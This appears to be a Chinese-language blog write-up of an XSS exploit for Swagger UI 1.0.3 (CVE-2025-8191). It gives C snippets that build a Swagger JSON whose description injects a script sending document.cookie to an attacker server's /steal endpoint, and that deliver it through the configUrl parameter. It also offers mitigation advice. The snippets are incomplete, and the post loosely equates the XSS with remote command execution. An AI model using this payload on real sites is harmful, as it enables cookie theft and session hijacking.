Swagger UI 1.0.3 跨站脚本(XSS)漏洞利用详解

本文详细介绍了Swagger UI 1.0.3版本中的CVE-2025-8191跨站脚本漏洞,包括漏洞原理、利用代码实现及远程命令执行过程,适合安全研究人员参考。

Swagger UI 1.0.3 - 跨站脚本(XSS)漏洞利用

漏洞概述

  • CVE编号: CVE-2025-8191
  • 漏洞类型: 跨站脚本(XSS)
  • 影响版本: Swagger UI 1.0.3
  • 漏洞原因: 由于对description参数过滤不严,导致远程命令执行。

漏洞利用代码解析

主要功能

该漏洞利用程序通过构造恶意JSON配置文件,利用Swagger UI的configUrl参数加载外部配置,触发XSS攻击。

代码结构

1
2
3
4
5
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include "argparse.h"
#include <curl/curl.h>

关键函数说明

1. 文件创建函数

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
void createFile(const char *filename, const char *server)
{
    // 创建包含XSS payload的JSON文件
    char payloadBuf[2048];
    snprintf(payloadBuf, sizeof(payloadBuf),
        "{\n"
        "  \"swagger\": \"2.0\",\n"
        "  \"info\": {\n"
        "    \"version\": \"1.0.0\",\n"
        "    \"title\": \"XSS Injection Demo\",\n"
        "    \"description\": \"<script>fetch('%s/steal?c='+encodeURIComponent(document.cookie))</script>\"\n"
        "  },\n"
        "  \"paths\": {}\n"
        "}",
        server
    );
}

2. 请求发送函数

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
void sendRequest(const char *baseUrl, int targetPort, const char *server, const char *payloadFile)
{
    // 构造恶意URL
    snprintf(full, sizeof(full),
        "%s:%d/swagger-ui/index.html?configUrl=%s/%s",
        baseUrl, targetPort, server, payloadFile);
    
    // 使用libcurl发送HTTP请求
    curl_easy_setopt(curl, CURLOPT_URL, full);
    // ... 其他curl配置
}

使用方式

程序支持以下命令行参数:

  • -u/--url: 目标URL
  • -s/--server: 攻击者服务器URL
  • -p/--port: 目标端口
  • -b/--portS: 攻击者服务器端口
  • -f/--file: 自定义payload文件
  • -c/--cookies: cookies文件
  • -v/--verbose: 详细模式

检测机制

程序会检查服务器响应中是否包含以下关键词来确认漏洞存在:

1
2
3
4
5
6
7
const char *foundKey[] = {
    "id=",
    "path",
    "host",
    "alert",
    "error"
};

技术要点

  1. Payload构造: 通过description字段注入恶意脚本
  2. 远程加载: 利用configUrl参数从远程服务器加载恶意配置
  3. 信息窃取: 通过XSS窃取用户cookie信息
  4. 自动化检测: 程序自动检测漏洞存在性

防护建议

  1. 升级到最新版本的Swagger UI
  2. 对用户输入进行严格的过滤和验证
  3. 实施内容安全策略(CSP)
  4. 定期进行安全审计和漏洞扫描

注意:本文仅用于安全研究目的,请勿用于非法用途。

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计